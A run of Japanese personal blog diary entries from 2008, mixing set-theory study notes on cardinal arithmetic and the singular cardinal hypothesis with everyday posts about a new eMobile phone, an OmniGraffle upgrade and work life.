もちろん私の方も月の基本料金が 980円増えるのですが、奥さまとの電話代が無料になることと、普通の電話が大体半額になることを考えると、損はなさそうです。さらに、おうちは au も WILLCOM も電波が良くなく (DoCoMo は不明) 、室内で使うのは非常に不便な状況なのですが、イーモバイルの場合全く問題がないのもうれしいのです。
余談ですが今月の始めに私の WILLCOM を解約しようとしたのですが、5月に解約すると解約何たら料金が 2000円程度必要で、6月15日まで待てば丁度切りが良く解約料が発生しないということで、奥さまとの電話 (もちろんまだ WILLCOM) のことを考えて、「つなぎ放題」のオプションのみを解約し、奥さまと同じ「定額プラン」2900円モードで最後の一月の運用をしています。
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2008年5月18日(日)

基数計算 (3回目) 特異基数仮説のお話
集合論雑記目次
次の事実主張を特異基数仮説 (Singular Cardinal Hypothesis) と呼びます。
(C3.1 特異基数仮説) $2^{\mathrm{cf}(\kappa)}~<~\kappa$ ならば $k^{\mathrm{cf}(\kappa)}=\kappa^{+}$
もちろん $2^{\mathrm{cf}(\kappa)}~<~\kappa$ という仮定により $\kappa$ は特異基数です。特異基数仮説を SCH と記述することがよくあります。 (C2.2) により GCH を仮定すれば (前提条件なしに) 特異基数仮説が成立します。特異基数を仮定すると次の事実が分かります。
(C3.2 命題) SCH を仮定すると次の事実が成立する。
(C3.2.1) $\kappa$ を特異基数とするとき
(C3.2.1.1) 連続体関数が $\kappa$ 未満でほとんど定常な場合 $2^\kappa~=~2^{<\kappa}$
(C3.2.1.2) 連続体関数が $\kappa$ 未満でほとんど定常ではない場合 $2^\kappa~=~(2^{<\kappa})^{+}$
(C3.2.2) 一般の無限基数 $\kappa,~\lambda$ に対して次の事実が成り立つ
(C3.2.2.1) $\kappa~\le~2^\lambda~\rightarrow~\kappa^\lambda~=~2^\lambda$
(C3.2.2.2) $2^\lambda~<~\kappa,~\lambda~<~\mathrm{cf}(\kappa)~\rightarrow~\kappa^\lambda~=~\kappa$
(C3.2.2.3) $2^\lambda~<~\kappa,~\mathrm{cf}(\kappa)~\le~\lambda~\rightarrow~\kappa^\lambda~=~\kappa^{+}$

(証明) (C3.2.2.1) はすでに証明済みである。 (C3.2.2.1) はまず極限基数に対し $2^{\kappa}~=~{(2^{<\kappa})}^{\mathrm{cf}(\kappa)}$ が成り立つことに注意し $\lambda=2^{<\kappa}$ とする。そして $\kappa$ を上限とする基数の増大列 $(\kappa_\xi)_{\xi~<~\mathrm{cf}(\kappa)}$ を考えると $\lambda~=~\lim_{\xi~<~\mathrm{cf}(\kappa)}{2^{\kappa_\xi}}.$ 従って $\mathrm{cf}(\lambda)~=~\mathrm{cf}(\kappa)~$ が成り立つ。従って $2^{\mathrm{cf(\lambda)}}~=~2^{\mathrm{cf}(\kappa)}~<~2^{<\kappa}~=~\lambda$ が成立し SCH の仮定により $2^{\kappa}~=~\lambda^{\mathrm{cf}(\kappa)}~=~\lambda^{\mathrm{cf}(\lambda)}~=~\lambda^{+}.$
(C3.2.2.1) は今まで何度も現れた自明な言明である。(C3.2.2.2), (C3.2.2.3) は双方を同時に帰納法により証明する。まず $\kappa~=~\mu^{+}$ が後続基数の場合を考える。すると帰納法の仮定により $\mu^{\lambda}~\le~\kappa$ である。そしてハウスドルフの公式により $\kappa^{\lambda}~=~(\mu^{+})^{\lambda}~=~\mu^{\lambda}~\mu^{+}~=~\kappa.$ 次に $\kappa$ が極限基数の場合を考える。帰納法の仮定により $\mu~<~\kappa$ に対して $2^{\mu}~<~\kappa$ が成り立つ。従って (C2.7.3) により $\lambda~<~\mathrm{cf}(\kappa)$ の場合 $\kappa^\lambda~=~\kappa$ が成り立つ。さらに $\mathrm{cf}(\kappa)~\le~\lambda$ の場合 $2^{\mathrm{cf}(\kappa)}~\le~2^\lambda~<~\kappa$ が成り立つので SCH により $\kappa^{\mathrm{cf}(\kappa)}~=~\kappa^{+}.$ (証明終)
特異基数仮説がZFCと整合的であることは明らかです ( $V=L$ を考えれば良い)。従って最大の疑問は特異基数仮説の否定がZFCと整合するかということですが、SCH の否定はZFCから証明不可能です。実際SCHの否定はある種の巨大基数の存在と同一の無矛盾性の強さをもつことが知られています。従って特異基数仮説の否定はZFCから証明不可能です。さらにSCHの否定はある種の巨大基数の存在と同一の無矛盾性の強さをもつことが知られています。従ってSCHの否定の整合性もZFCから証明不可能であることが分かります。
定義や証明を知らないステートメントを書くのは余り好きではないのですが、おおざっぱに次のような感じだそうです。
一般に $\kappa$ を可測基数として $U_0,~U_1$ をその上の非単項 $\kappa$ 完備正規超フィルターとします。 $U_1~\in~\mathrm{Ult}_{U_0}(V)$ のとき $U_1~<~U_0$ と定義します。すると $<$ は整順な半順序関係であることが証明できるので $U_0$ の rank を定義することが可能です。その値を $o(U_0)$ と書くことにします。そして $o(\kappa)~=~{\sup}_{U}{o(U)}$ と定義します。ここで $U$ は $\kappa$ の非単項 $\kappa$ 完備正規超フィルターを動くものとします。 $o(\kappa)=1$ は単に $\kappa$ が可測基数であるという意味です。さらに $o(\kappa)=2$ が成り立てば、 $\kappa$ は超巾においても可測です。従って、弱コンパクト基数が可測基数の下に大量に存在する論法と同様に $\kappa$ 未満に可測基数が「非単項 $\kappa$ 完備正規超フィルター個」( すなわち $\kappa$ 個) 存在することが分かります。同様に $o(\kappa)=3$ は $o(\lambda)=2$ を満たす可測基数が $\kappa$ 未満大量に存在することを意味するわけです。で、この辺りは大きすぎて (とはいえWoodin 基数や supercompact 基数よりは小さい) 直感が働かず困るのですが、本に書いてある結論として $o(\kappa)=\kappa^{++}$ を満たす可測基数の存在が SCH の否定の整合性と同値だそうです。
いつまでも証明つきの言明が自明に近いものでは仕方がないので、少々時間が必要かと思いますが、次回から Galvin-Hajnal の定理、Silver の定理、PCF 理論と進めてゆきたいと考えています。
(追記) もしかしてSCHの否定と supercompact cardinal の存在の関連の方に走るかも。当面こっちの方が面白そうな気がするので。なんかどんどん最初の趣旨からずれてゆくような。
(参考文献) Thomas J. Jech 著 Set Theory
(関連リンク)
2008年4月13日(日) 基数計算 (1回目基本の基本の準備 (1))
2008年4月28日(月) 基数計算 (2回目基本の基本の準備 (2))
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2008年5月8日(木)

OmniGraffle Pro 5
私は図を描くのが全く不得意なのですが、それなり見栄え良い図を描くことができるのは OmniGraffle のおかげです。特に昨日から木構造の図を大量に必要としているのですが、2分木の図等、階層構造を指定するだけで自動的にレイアウトしてくれるので、私自身はお気楽モードで見栄え良く図を描くことができるのです。
ところで昨日OmniGraffle Pro 4を起動したところ、ヴァージョン 5 がリリースされたというメッセージが表示されたのです。もちろん出費は痛いのですが、これほど優れたソフトウエアーに対して定期的にそれなりの金額を支払うことに対して全く抵抗はありません。
なので、さっそく OmniGraffle Pro 4 から OmniGraffle Pro 5 へのアップグレード注文を行ったつもりだったのです。ところがライセンスキーを記載したメールを見てびっくり仰天。
OmniGraffle Pro 4 から OmniGraffle 5 (Pro なし) になっていました。
いやはや Pro から Pro なしへのアップグレードがあるとは夢にも思わず何も考えずぽっちんしてしまいました。実は $39.95 というのはやけに安いなとは思ったのですけど後の祭りです。仕方がないので意味不明かも知れない英語でで Omni Group のサポートへ次のようなメールを送ったのです。
こんにちは。鏡と申します。
先ほど OmniGraffle Pro 4 から OmniGraffle Pro 5 へアップグレードしようとしたのですが、誤って OmniGraffle 5 (Pro なし) へのアップグレードを注文してしまいました。この注文を取り消すことは可能でしょうか。もし可能でしたら OmniGraffle Pro 5 へのアップグレードを行います。
よろしくお願い致します。
(以下ライセンスメールの写し)
すると時差の関係もあり本日朝3時頃返信がありまして、ちゃんと取り消してもらえました。その直後に OmniGraffle Pro 5 を注文したのはもちろんです。やれやれです。もっとも私は OmniGraffle Pro と OmniOutliner Pro に関してはPowerBook 時代からずっと税金を払い続けている優良ユーザーです。自分のミスとはいえ、この程度の対応をしてもらえないとしたら、かなり不愉快な思いをしたことは間違いありません。互いに損をしない結果となりめでたしめでたしです。
OmniGraffle Pro 5 へのアップグレードは $74.95 でした。Pro の機能や新規機能を使うことがほとんどなさそうなのは絶対に内緒です。
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2008年5月7日(水)

連休終わる
なんとなく中途半端感があった連休も昨日で終了し、本日から通常の勤務です。ところで連休中に行う予定だった、「ある種の計測系用途のアルゴリズム」のレポート、それから数学の勉強ですが、イーモバイル H11T で遊び続けてなんにもしませんでした。数学はともかくレポートの方は急いで書かなくては。要は緊急というほどではなかったので、例のごとく「明日できることは今日するな」という鏡家の家訓通りになったというのが本当です。
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2008年5月6日(火)

H11T Apple 化並びに高速化
使ってみると分かりますが H11T のメニュー画面はとてももっさりしています。待ち受け画面での数字キーの長押し、もしくはメニュー画面で数字キーを押せば該当のメニューの中に入れるのですが、昔からショートカットキーの扱いは苦手なので少々使いにくいなと思っていたのです。ところがこちら (キッズプレート、パスタおかわり) の情報によりますと、メニュー画面を自作のアイコンに変更するだけでもっさり感がなくなるとのこと。さらにリンク先の方がとてもかっこいいアイコンを作って下さったのです。まるで Apple の携帯電話みたいな感じになります (リンク先の画像を参照してください)。
リンク先の方のコメントの方にも書きましたが、本当にありがとうございます。
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2008年5月5日(月)

H11T を使ってみる
昨日イーモバイルの H11T から直接インターネットに接続できるようになったので、いろいろ使ってみました。インターネットへの接続は emnet のプロキシー経由 (要は携帯サイトみたいなものです。たぶん) もしくは emnet 経由でのインターネット直結のモードがあるのですが、起動するメニューが別なのと、ブックマークの共有ができないのが存外不便です。それから、私の調査不足なのかも知れませんが、インターネット直結の場合、最初は必ず PC 画面モードで起動し、毎回ちっちゃい画面に変更する必要があるのも不便なのです。明らかにブラウザはウィルコムのもの (Opera だったか？) のほうが優れていたと思います。
ただしこれには同情すべき点もあり、おそらくウィルコムに搭載されたブラウザと同等の機能をもつものでは、イーモバイルのデーター伝送速度に追随できず、結果的に速度がでないことになるのではと思われるのです。それから右側の上から2番目のボタンを押すと文字の大きさを動的に変更可能なのはなかなか良いです。
ところでたかたにさんのところで初めて名前を知った Opera Mini というものも試してみました。携帯のブラウザから
http://mini.opera.com/global/opera-mini-3.1.10423-advanced-jp.jad
にアクセスして後は指示に従えばインストールされるみたいです。このアプリケーションを使用する場合はロキシー経由必須で、さらにプロキシーが余り速くないので、画面が表示されるまでかなり待たされることになります。ただしフォントを除けば画面の見やすさはこちらが一番良さそうです。これを使用すればウィルコム並の表示とウィルコムよりおそらく少々速い速度が得られます。
というわけで三種類をいろいろ使い分ける必要があり、余り便利とはいえないのですが、実際にはある程度遊んで飽きてしまえば本体のブラウザは余り使わなくなる思うので、ある意味どうでも良いのです。
メールの着信は思ったより速いです。それからもちろん送受信は高速です。 1600x1200 ピクセルの写真を簡単に転送できます。写真の画質もこの日記でのねたに使用するには十分ですので、最近カメラを持ち歩かず全然写真を貼ってなかったのですが、これからは少し増やすことができるかも知れません。
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2008年5月3日(土)

はじめてのイーモバイル
本日イーモバイルの H11T が届きました。青色です。たかたにさんのところの記事のようにちゃんと代引きで一円払いました。
なんかボール紙みたいなちっちゃいカード (USIM カードというらしい) がついてるのですが、それを入れないと電話として全く動作しないのを知らず、最初からはまりです。マニュアルをみたところ、それらしきことが書いてあったので、きちんと挿入してから電源をいれると、今度は「圏外」表示です。むむむ、これは大失敗したかなとしばらく待っていると、10秒くらいで旗が 3 本立ちました。自宅の電波環境は全く問題ないようです。余談ですが私のおうちは au とウイルコムの電波状況が余り良くなく、室内では使えなかったり途中で切断してしまう場合が多いのですが、イーモバイルに関しては全く問題なさそうです。
それではさっそくインターネットをと思い、真ん中の大きいまるボタンを押したところ、「ネットワーク自動設定を行いますか」なるメニューが出てきて、設定を行おうとしたのですが、必ず失敗します。さらにこの設定を行わないと電話機以外実質なんの機能も使えないのです。
仕方がないので本体からサポートに電話 (ちゃんとメニューがある) して確認したところ emnet に加入しないといけないとのこと。知らなかった、というかデフォルトで加入と思っていました (汗)。というわけでサポートの人にそちらの加入もお願いして、明日中位には登録が完了するそうです。さらにサポートの人が教えてくださったのですが、USB でPC と接続した場合は、加入しなくても emnet を使うことが可能なのだそうな。なんというか不思議な仕様です。
とりあえず MacBook に USB 経由でつないで簡単な設定を行ったところ、問題なくインターネットにつながりました。速いです。下り 1.5M bps 程度でるようです。おうちの ADSL よりちょっととろいかなという感じで、32Kbps (運が良いと64Kbps) のウイルコムとは世界が違います。ダイアルアップから ADSL に変更したときのあの感じです。
それでは Bluetooth 経由ではどうなるのかいな、と思っていろいろ試しているのですが、ペアリングまではうまくいき、お互いに認識しているのですが、ネットワークに接続しようとすると、 Mac 側に「通信機器を開くことが出来ませんでした」というメッセージがでて全くうまくゆきません。ダミーのファイル転送等では接続できるので、Bluetooth の問題ではなさそうなのですが、謎は深まるばかりです。
いずれにしても emnet への加入手続きが完了しないと、機能等良くわかりません。ただし一番良く使うと思われる USB 経由のインターネット接続が激速なので、現在のところ非常に満足しています。
(追記) Bluetooth でのインターネット接続もうまくゆくようになりました。 MacBook の /var/log/system.log によると ppp クライアントが /dev/cu.Bluetooth-Modem というデヴァイスを開こうとして、理由は分からないのですが、device busy で失敗していたようなのです。
結局「システム環境設定」→ 「Bluetooth」で下の方の (+/-) の横にある「まりも」みたいなボタンを押して、「このデヴァイスを構成」のメニューからやり直したところ、新規に /dev/cu.H11T-Dial-upnetworking-1 というデヴァイスファイルが作成され、ppp もこちらを開くようになり接続可能となりました。
「このデヴァイスを構成」で一度へまを行い、MacBook が /dev/cu.H11T-Dial-upnetworking-1 経由で H11T に対し直接 ppp で接続を試みるようになったのは絶対に内緒なのです。
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2008年5月1日(木)

いろいろ
連休の谷間出勤ですが仕事やる気なしモードです。というわけで計測系のプログラムで存外応用できたアルゴリズムについての解説書というか論文みたいなの書いています (一応業務)。全順序、半順序、木という言葉が大量に発生するのですが、うーむ、対象読者を想定するときちんと定義を記述するのが良いのかどうか悩むところです。とはいえ数学好きの本性として正確な定義を書かないと我慢できないのはお約束です。有限集合しか扱わないので、木の定義の「整列性」を「全順序」でまかなえるのが救いです。
つか、連休中に仕上げるなんて約束しちゃって、集合論の方はどうなってしまうのだろうか。
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2008年4月29日(火)

映画
奥様と一緒に TOHO シネマズ海老名で「あの空をおぼえてる」を見てきました。ハンカチ必須です。
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2008年4月28日(月)

基数計算 (2回目基本の基本の準備 (2))
集合論雑記目次
今日もごくごく基本的で簡単な話題なのですが、なんといいますか、公式集的なところがあり、いまいち細かいところが覚えにくいのです。自力で体系的に書くのもなかなか大変ですので、申しわけありませんが、流れも含めほとんど Jech 本の丸写しです。
(C2.1 命題) $\lambda,~\kappa$ を無限基数とするとき次の事実が成立する。

(C2.1.1) $\kappa~\le~\lambda~\rightarrow~\kappa^\lambda~=~2^\lambda$
(C2.1.2) $\lambda~<~\kappa,\,~\kappa~\le~2^\lambda~\rightarrow~\kappa^\lambda~=~2^\lambda$
(C2.1.3) $2^\lambda~<~\kappa~\rightarrow~\kappa^{\lambda}~\le~2^\kappa$
(証明) 例えば (C2.1.1) は $\kappa^\lambda~\le~(2^\kappa)^\lambda~\le~(2^\lambda)^\lambda~~=~2^{\lambda~\lambda}~=~2^\lambda.$
今後基数 $\kappa$ に対し、 $\kappa$ の次の基数を $\kappa^{+}$ と書くことにします。言い換えると $\kappa~=~\aleph_\alpha$ のとき $\kappa^{+}~=~\aleph_{\alpha+1}$ です。GCH、すなわち一般連続体仮説 ( $\forall{\kappa}(2^{\kappa}=\kappa^{+})$ ) を仮定すると無限基数のべき乗を計算しつくことができます。
(C2.2 命題) GCH を仮定すると次が成立する
(C2.2.1) $\kappa~\le~\lambda~\rightarrow~\kappa^\lambda~=~\lambda^{+}$
(C2.2.2) $\rm{cf}(\kappa)\le~\lambda~<~\kappa~\rightarrow~\kappa^\lambda~=~\kappa^{+}$
(C2.2.3) $\lambda~<~\rm{cf}(\kappa)~\rightarrow~\kappa^\lambda~=~\kappa$
(証明) (C2.2.1) は GCH の仮定のもとでの (C2.1.1) そのものです。(C2.2.2) は $\kappa^{+}~\le~\kappa^{\rm{cf}(\kappa)}~\le~\kappa^\lambda~\le~(2^\kappa)^\lambda~=~2^{\kappa\lambda}=2^\kappa~~=~\kappa^{+}$ により得られます。最初の不等式はケーニヒの定理です。(C2.2.3) についてはまず $\lambda~<~\rm{cf}(\kappa)$ であることにより、任意の関数 $f:~\lambda~\rightarrow~\kappa$ は $\alpha~<~\kappa$ に対する $\alpha^\lambda$ の要素になることに注意します。言い換えると $\kappa^\lambda~=~\bigcup_{\alpha~<~\kappa}{\alpha^\lambda}$ が成り立ちます。そして $|\alpha^\lambda|~\le~2^{|\alpha|\lambda}~\le~\kappa$ に注意すれば証明完了です。
( $2^\kappa$ と $\kappa^{\rm{cf}(\kappa)}$ )
無限基数 $\kappa$ に $2^\kappa$ を対応させる関数を連続体関数 (continuum function) と呼びます。また $\kappa$ に $\kappa^{\rm{cf}(\kappa)}$ を対応させる関数を gimel 関数と呼びます。連続体関数に関して次の命題は簡単ですが重要です。
(C2.3 命題) $\kappa$ を極限基数とするとき $2^\kappa~=~(2^{<~\kappa})^{\mathrm{cf}(\kappa)}.~$ ここで $2^{<\kappa}~=~\lim_{\mu~<~\kappa}~2^{\mu}.$
(証明) $(\kappa_\xi)_{\xi~<~\mathrm{cf}(\kappa)}$ を $\kappa$ を上限とする基数の増大列とします。すると $2^{\kappa}~=~2^{\sum_{\xi<\mathrm{cf}(\kappa)}~{\kappa_\xi}}~~=~\prod_{\xi<\mathrm{cf}(\kappa)}{2^{\kappa_\xi}}~\le~\prod_{\xi<\mathrm{cf}(\kappa)}{2^{<\kappa}}~=~(2^{<\kappa})^{\mathrm{cf}(\kappa)}~\le~(2^\kappa)^{\mathrm{cf}(\kappa)}~=~2^\kappa.$

$2^\kappa$ の値は $\lambda~<~\kappa$ に対する $2^\lambda$ の値と $\kappa$ の gimel 関数の値から求めることが可能です。 $\mu~<~\kappa$ が存在して $\mu~\le~\nu~<~\kappa$ に対して $2^\nu$ が定値の時「連続体関数は $\kappa$ 未満ほとんど定常である (eventually constant)」と言うことにします。
(C2.4 定理) 次の事実が成立する
(C2.4.1) $\kappa$ が正則基数、特に後続基数のとき $2^\kappa~=~\kappa^{\rm{cf}(\kappa)}$
(C2.4.2) $\kappa$ が極限基数で $\kappa$ 未満で連続体関数がほとんど定常な場合 $2^\kappa~=~2^{<\kappa}~\kappa^{\rm{cf}(\kappa)}$
(C2.4.3) $\kappa$ が極限基数で $\kappa$ 未満で連続体関数がほとんど定常ではない場合 $2^\kappa~=~(2^{<\kappa})^{\rm{cf}(2^{<\kappa})}$
(証明) (C2.4.1) は $\kappa$ が正則であることにより $\kappa=\rm{cf}(\kappa)$ であることと $2^\kappa=\kappa^\kappa~$ であることにより得られる。(C2.4.2) は $\kappa$ が正則の場合 (C2.4.1) の単なる言い換えなので、特異基数の場合に証明すれば十分である。連続体関数の定常性により $\rm{cf}(\kappa)~\le~\lambda~<~\kappa$ を満たす $\lambda$ が存在し $\lambda~\le~\mu~<~\kappa$ に対し $2^\mu~=~2^\lambda$ が成り立つ。従って $2^\kappa~=~2^{<\kappa}.$ 一方 $\kappa^{\rm{cf}(\kappa)}~\le~\kappa^\lambda~\le~2^\lambda~\le~2^{<\kappa}$ 最後から2番目の不等号は連続体関数の定常性もしくは $\mathrm{cf}(\kappa)~\le~\lambda$ であることにより $\kappa~\le~2^\lambda$ が成立することを (C2.1.2) に適用すれば得られます。最後は $\kappa$ 未満の連続体関数が定常でない場合です。 $2^{<\kappa}~=~\lim_{\alpha~\to~\kappa}{2^{|\alpha|}}$ であることを (C1.1.2) に適用すると $\rm{cf}(2^{<\kappa})~=~\rm{cf}(\kappa).~$ 従って $2^\kappa~=~(2^{<\kappa})^{\rm{cf}(\kappa)}~~=~(2^{<\kappa})^{\rm{cf}(2^{<\kappa})}.$
( $\kappa^\lambda$ と gimel 関数 )
(C2.5 命題) $\kappa$ を正則基数として $\lambda~<~\kappa$ とします。このとき $\kappa^\lambda~=~\sum_{\alpha<\kappa}{|\alpha|^\lambda}$
(証明) $\mathrm{cf}(\kappa)~=~\kappa,~\lambda~<~\kappa$ であることにより $\lambda$ から $\kappa$ への関数は $\lambda$ から $\alpha~<~\kappa$ への関数となることに注意すれば良い。
$\kappa$ が後続基数の場合の $\kappa^\lambda$ の計算は容易です。
(C2.6 系ハウスドルフの公式) $(\kappa^{+})^\lambda~=~\kappa^{\lambda}~\kappa^{+}$
(証明) $\lambda~<~\kappa^{+}$ の場合は (C2.5) により $(\kappa^{+})^\lambda~=~\sum_{\alpha~<~\kappa^{+}}~{|\alpha|^\lambda}~=~\kappa^\lambda~\kappa^{+}.\,$ $\kappa^{+}~\le~\lambda$ の場合は $(\kappa^{+})^\lambda~=~2^\lambda.\,$ 一方 $\kappa^\lambda~\kappa^{+}~=~2^\lambda~\kappa^{+}~=~2^\lambda.$
(C2.7 定理) $\kappa^\lambda$ 次のように計算できる。言い換えると $\kappa^\lambda$ の値は $\kappa$ 未満の基数に対する $\lambda$ 乗と $\kappa$ gimel 関数値を用いて表現できる。
(C2.7.1) $\kappa~\le~\lambda$ のとき $\kappa^\lambda~=~2^\lambda$
(C2.7.2) $\lambda~<~\kappa$ でさらに $\kappa~\le~\mu^\lambda$ を満たす $\mu<\kappa$ が存在する場合 $\kappa^\lambda~=~\mu^\lambda$
(C2.7.3) $\lambda~<~\kappa$ でさらに $\kappa~\le~\mu^\lambda$ を満たす $\mu<\kappa$ が存在しない場合
(C2.7.3.1) $\lambda~<~\rm{cf}(\kappa)$ のとき $\kappa^\lambda~=~\kappa$
(C2.7.3.2) $\rm{cf}(\kappa)~\le~\lambda$ のとき $\kappa^\lambda~=~\kappa^{\rm{cf}(\kappa)}$

(証明) (C2.7.1) はすでに証明済み。(C2.7.2) もほとんど明らかである。 (C2.7.3) において $\kappa$ が後続基数の場合 (C2.7.3.1) の場合しか起こりえない。そしてこの場合 $\kappa^\lambda~=~\kappa$ はハウスドルフの公式そのものである。従って $\kappa$ が極限基数の場合を考える。 $\lambda~<~\rm{cf}(\kappa)$ の場合、任意の $\lambda$ から $\kappa$ への関数は有界なので $\kappa^\lambda~=~\lim_{\alpha<\kappa}{{|\alpha|}^{\lambda}}~=~\kappa.$ 一方 $\rm{cf}(\kappa)\le~\lambda$ の場合 $(\kappa_\xi)_{\xi<\rm{cf}(\kappa)}$ を $\kappa$ 未満の基数の増大列で $\kappa$ に収束するものとする。このとき $\kappa^\lambda~=~(\sum_{\xi<\rm{cf}(\kappa)}{\kappa_\xi})^{\lambda}~\le~(\prod_{\xi<\rm{cf}(\kappa)}{\kappa_\xi})^{\lambda}~=~\prod_{\xi<\rm{cf}(\kappa)}{{\kappa_\xi}^{\lambda}}~\le~\prod_{\xi<\rm{cf}(\kappa)}{\lim_{\alpha~\to~\kappa}{|\alpha|^{\lambda}}~\le~\kappa^{\rm{cf}(\kappa)}~\le~\kappa^\lambda.$
結局無限基数のべき乗をもとめる問題は gimel 関数の値を求めることに帰着されます。
次回は正則基数に対する連続体関数は大域的にほとんど自由に動かせる事実のお話と、特異基数問題に関する、こちらもお話しになると思います。特異基数問題の話題に突入する前に、今までさぼっていた正則基数に関する上記の話題 (イーストン強制) についてきちんと書くという方向も考えています。
最初に記載しましたが、今回は Jech 本のまるまるコピーに近いです。というか細かい表現は別としてコピーそのものです。問題があればご指摘下さい。
(参考文献) Thomas J. Jech 著 Set Theory
(関連リンク)
2008年4月13日(日) 基数計算 (1回目基本の基本の準備 (1))
2008年5月18日(日) 基数計算 (3回目特異基数仮説のお話)
(余談) 特に難しいところはないのですが、今までの集合論雑記で一番疲れたかも知れません。根っから計算が苦手といいますか、ある程度の年齢になると、こういう「三角関数公式集」的なのって苦しいのかも知れません。現在三角関数の加法公式さえもオイラーの定理からいちいち求めないと分からなくなっているということは内緒です。高校生の頃は数学のいわゆる「公式」って覚えようとしたことは一度もなく、すべて自然に身についていたんですがねえ。恥のかきついでに $f/g$ の微分の分子の二つの項の符号も $1/g$ の微分から導かないとどっちがどっちだかもう分かりません。

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2008年4月26日(土)

うれしい質問
一緒につくばに行った私の上司の質問です。
「鏡さん。無限大の3乗と3の無限大乗ってどっちが大きいの。」
あわわ、どうして底が 3 なのかが謎なのですが、数学と直接関係がない人からこういう質問がでるのはとてもうれしいのです。
そして「3の無限大乗の方が大きいです。それもとんでもなく大きい可能性もあります。逆に無限大の3乗はもとの無限大と同じなんですよ。」と答えたのです。さすがに歩きながらだったのでカントールの定理の説明まではできませんでした。
すると上司いわく。「無限って異なる大きさがいくつかあると噂には聞いてたけどそれも無限にあるの？」なるこれまた的を射た質問。上司なので当然といえば当然なのですが、ほんと物事の本質を見ぬくのが恐ろしく鋭い人です。さらに「無限大の無限大乗もあるの？」とまさに今勉強中のツボをついた質問とか。
さすがに順序数やアレフに関する話は口頭での説明のみでは理解して頂くのが難しくなり、最終的にとある宗教団体の名称はけしからん、という話に落ち着いたのですが、とても楽しい時間を過ごすことができたのです。
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2008年4月24日(木)

つくば出張
今日と明日はつくば出張です。余談ですが今年のゴールデンウイークはカレンダー通りです。この期間中に少しでも集合論の勉強と記事の方を進展させたいと考えています。ところで私もたかたにさんのまねをしてイーモバイルに乗り換えたいなと考えているのですが、つくばでいつも泊まるホテルで電波が入るかどうかが最大の問題なのです。でも近々乗り換えるような気がします。なんといっても今まで私の電波環境は、例外なくたかたにさんの後追いでなのですから。
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2008年4月22日(火)

リンク追加
前にも書きましたが、このページの上の方のリンク集は私が良く遊びにいくとともに、とても尊敬している方のブログや日記です。三日ほど前から「渕野さんのバルセロナ日記」を追加しました。渕野さんは「巨大基数の集合論」を訳された方で、私が集合論の勉強を始めるきっかけを作って下さった方です。ほんと偶然なのですが、あの本を少しは分かるであろうと「間違えて」購入したことは大変な幸運でした。こちらも前に書いたかも知れませんが、余りに難しくちんぷんかんぷんだったので、少しでも分かるようになりたいと集合論の勉強を始めたのです。今なら少しは分かるかと言われると微妙なのですが、最初の方はやっと少しずつという感じでしょうか。
全然関係ない話ですが、最近メールやコメントに対する返信が遅くなる場合がありご迷惑をおかけしています。遅くなるときはそれなり真面目に内容を考えているということで、ご容赦の程お願いいたします。
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2008年4月15日(火)

信州大学へのメール
以前言及した信州大学のCAIページでの $\aleph_1$ の定義を $2^{\aleph_0}$ であると勘違いしている件ですが、ネットを検索すると同様の間違いを信じている人がたくさんいることが分かります。そして誤りを記述しているページの参考リンク先をみると、かなり信州大学のページからの引用、もしくは孫引用が多いのです。
実は一昨日基数の初歩について記載しているとき、さすがにこれはまずいのではと思い、信州大学宛に誤りを指摘し、さらにきちんとした対応をお願いするメールを出したのです。
すると本日中村八束氏より丁重な返信があり、内容に関しても修正して頂けたそうです。以前中村氏の「コンピューターですべての証明」という考えを批判しました。その考えは今でも変わりませんが、批判の文章中、感情的になり、人格攻撃になってしまった部分もあります。その部分に関しては撤回します。そもそもこんなローカルな場所で文句を言わず、もっと前にきちんとしたメールを出しておけば良かったのです。反省しております。まことに申しわけございませんでした。
(関連リンク)
2006年8月31日「トンデモ(アレフ編)」
2006年9月3日「トンデモ(アレフ編その3)」
信州大学の「アレフと連続体仮説」に関する解説ページ
トンデモという言葉もこの場合良くないと思いますが、やはり大学という名で長期間誤りを発信していた悪影響は大きかったと思います。こちらはご容赦の程お願いいたします。
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2008年4月14日(月)

激しい値動き
3月28日に注文した Shelah の Cardinal Arithmetic が届きました。これって基数計算の教科書というより、Shelah の基数理論に関する論文集みたいな感じです。とっても難しそうです。ですが、基数の理論に関して非常に参照されることが多い本ですので、今後必要に応じ少しずつでも理解したいと考えています。
ところでこの本の価格ですが、通常価格は $412.00 で、私が購入したときは 58% オフ価格で $172.63 でした。その後一時値引きがなくなり、本日同じ Amazon のページを参照するとお値段が 33% オフの $278.00 となっています (この日記を書いている時点で JPEG イメージ) 。非常に激しい値動きです。私自身安く購入し大きな声で言えないのですが、いくらなんでも Shelah 先生に失礼なのではと思わないではありません。それから Jech の Set Theory も現在 20% オフの $128 みたいです。もしかして Amazon で集合論関連の本を購入する場合、ある程度値動きを見てから購入したほうが良いのでしょうか。
そもそも「二万円以下だと安い」と感じてしまうあたり、やや金銭感覚が麻痺している恐れがあります。個人で購入するには少々高すぎます。最初の価格が安ければ一番良いのですが、数学の本を書くにはとんでもない能力と労力が必要なのに、その割には余り売れないという事情がありそうです。もちろん儲けるために本を書いてるのでないことは分かるのですが、さすがに出版社が大赤字になるわけにもいかない。その辺りの案配は存外難しいのかも知れません。
(追記) もっとも私は数学の本を読むペースが遅いので、例えば Jech 本なんてもう3年以上もお世話になっています。そういう意味では他の娯楽に比べ安いものなのかも知れません。
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2008年4月13日(日)

基数計算 (1回目基本の基本の準備 (1))
集合論雑記目次
基数計算シリーズに関してはZornの補題程度までの知識を前提として、ごくごく基本的な概念からきちんと説明を行う予定です。従って以前記載した事実との重複もかなり発生すると思われます。その辺りはご容赦の程お願いいたします。さらに面倒になった場合、過去の記事を引用する場合もあり得ますが、そちらの方もご容赦の程よろしくお願いいたします。今後の体系は特に注意しない限りZFCであることとします。
本日は準備として、存外知られていないと思われる基数とアレフ、それから共終数について記載します。
(C1.0 基数とアレフ)
